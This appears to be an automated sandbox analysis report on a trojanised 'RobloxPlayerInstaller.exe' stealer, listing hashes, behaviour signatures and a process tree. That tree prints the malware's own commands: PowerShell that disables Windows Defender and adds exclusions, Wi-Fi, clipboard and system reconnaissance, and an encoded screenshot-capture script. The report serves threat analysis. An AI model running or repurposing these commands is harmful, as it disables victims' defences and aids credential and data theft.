Overview

overview

10

Static

static

10

RobloxPlay...er.exe

windows7-x64

7

RobloxPlay...er.exe

windows10-2004-x64

8

Resubmissions

14-11-2024 10:30

241114-mj478syank 10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-11-2024 10:30

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RobloxPlayerInstaller.exe

  • Size

    10.4MB

  • MD5

    44cad07405f2d630314edfc631ac66fb

  • SHA1

    a9c479dc42fa2037e7c2d9bc9c2c9b758fe3d7fa

  • SHA256

    9eb1d758c8ae9797cfe7daaf245e95ae0318b3759d05f2b790cf7a7ca7b0566d

  • SHA512

    2d27161f0087116ba05e7475ee149ccd23fda8824966513bd0ed42d8ee309bafb20716b3cdb0332190ff7949de5c2642c33740c2c369c2f47e9ea72cad2edf48

  • SSDEEP

    196608:lLx0cD/iwCW4MXXEglpxLjv+bhqNVoBKUh8mz4Iv9PQv1DVm:tuiHN4sEcpL+9qz8/b4Imv3m

Score
8/10
collectioncredential_accessdefense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationspywarestealertrojanupx

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 13 IoCs
  • Loads dropped DLL 32 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Checks system information in the registry 2 TTPs 8 IoCs

    System information is often read in order to detect sandboxing environments.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
    discovery
  • UPX packed file 60 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\RobloxPlayerInstaller.exe
    "C:\Users\Admin\AppData\Local\Temp\RobloxPlayerInstaller.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2396
    • C:\Users\Admin\AppData\Local\Temp\RobloxPlayerInstaller.exe
      "C:\Users\Admin\AppData\Local\Temp\RobloxPlayerInstaller.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4516
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RobloxPlayerInstaller.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2024
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RobloxPlayerInstaller.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2608
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3624
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4076
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3024
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1772
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "start bound.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3996
        • C:\Users\Admin\AppData\Local\Temp\bound.exe
          bound.exe
          4⤵
          • Executes dropped EXE
          • Checks whether UAC is enabled
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Enumerates system info in registry
          • Modifies Internet Explorer settings
          • Suspicious behavior: EnumeratesProcesses
          PID:3048
          • C:\Program Files (x86)\Roblox\Versions\version-32f36ac944b34913\WebView2RuntimeInstaller\MicrosoftEdgeWebview2Setup.exe
            MicrosoftEdgeWebview2Setup.exe /silent /install
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1332
            • C:\Program Files (x86)\Microsoft\Temp\EU4433.tmp\MicrosoftEdgeUpdate.exe
              "C:\Program Files (x86)\Microsoft\Temp\EU4433.tmp\MicrosoftEdgeUpdate.exe" /silent /install "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers"
              6⤵
              • Event Triggered Execution: Image File Execution Options Injection
              • Checks computer location settings
              • Executes dropped EXE
              • Loads dropped DLL
              • Checks system information in the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:3612
              • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regsvc
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Modifies registry class
                PID:2420
              • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regserver
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Modifies registry class
                PID:4492
                • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe
                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Modifies registry class
                  PID:2192
                • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe
                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Modifies registry class
                  PID:5112
                • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe
                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.171.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Modifies registry class
                  PID:4608
              • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNzEuMzkiIHNoZWxsX3ZlcnNpb249IjEuMy4xNzEuMzkiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QkJBNDQ3REQtRDBEOS00RTcwLThFMjEtMTJFNkVDODg4QzlEfSIgdXNlcmlkPSJ7OERBQTYwODYtMDJENS00OEJCLTg5Q0YtRTEzODBBMDM3RDJEfSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9IntCQjgwNDYxMC1GMzJELTQwNjktOENFRC05NjVGQzJFNEFFQUR9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iOCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iIi8-PGFwcCBhcHBpZD0ie0YzQzRGRTAwLUVGRDUtNDAzQi05NTY5LTM5OEEyMEYxQkE0QX0iIHZlcnNpb249IjEuMy4xNDcuMzciIG5leHR2ZXJzaW9uPSIxLjMuMTcxLjM5IiBsYW5nPSIiIGJyYW5kPSIiIGNsaWVudD0iIj48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1ODc1ODY0MDI5IiBpbnN0YWxsX3RpbWVfbXM9Ijc0OSIvPjwvYXBwPjwvcmVxdWVzdD4
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks system information in the registry
                • System Location Discovery: System Language Discovery
                • System Network Configuration Discovery: Internet Connection Discovery
                PID:4580
              • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /handoff "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers" /installsource otherinstallcmd /sessionid "{BBA447DD-D0D9-4E70-8E21-12E6EC888C9D}" /silent
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:2716
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3344
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1496
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3752
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1368
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3916
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:2500
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3696
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
            4⤵
              PID:2116
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4324
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:1872
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2812
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:544
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍   ​.scr'"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3804
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍   ​.scr'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1544
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4660
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:4308
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1692
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:1856
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
            3⤵
            • Clipboard Data
            PID:1628
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Get-Clipboard
              4⤵
              • Clipboard Data
              • Suspicious behavior: EnumeratesProcesses
              PID:2040
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            3⤵
              PID:1600
              • C:\Windows\System32\Wbem\WMIC.exe
                WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                4⤵
                  PID:960
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                3⤵
                  PID:4076
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FO LIST
                    4⤵
                    • Enumerates processes with tasklist
                    PID:4428
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                    PID:4860
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:1012
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                      3⤵
                      • System Network Configuration Discovery: Wi-Fi Discovery
                      PID:4228
                      • C:\Windows\system32\netsh.exe
                        netsh wlan show profile
                        4⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:3304
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "systeminfo"
                      3⤵
                        PID:3916
                        • C:\Windows\system32\systeminfo.exe
                          systeminfo
                          4⤵
                          • Gathers system information
                          PID:1776
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                        3⤵
                          PID:4580
                          • C:\Windows\system32\reg.exe
                            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                            4⤵
                              PID:1676
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                            3⤵
                              PID:3596
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAd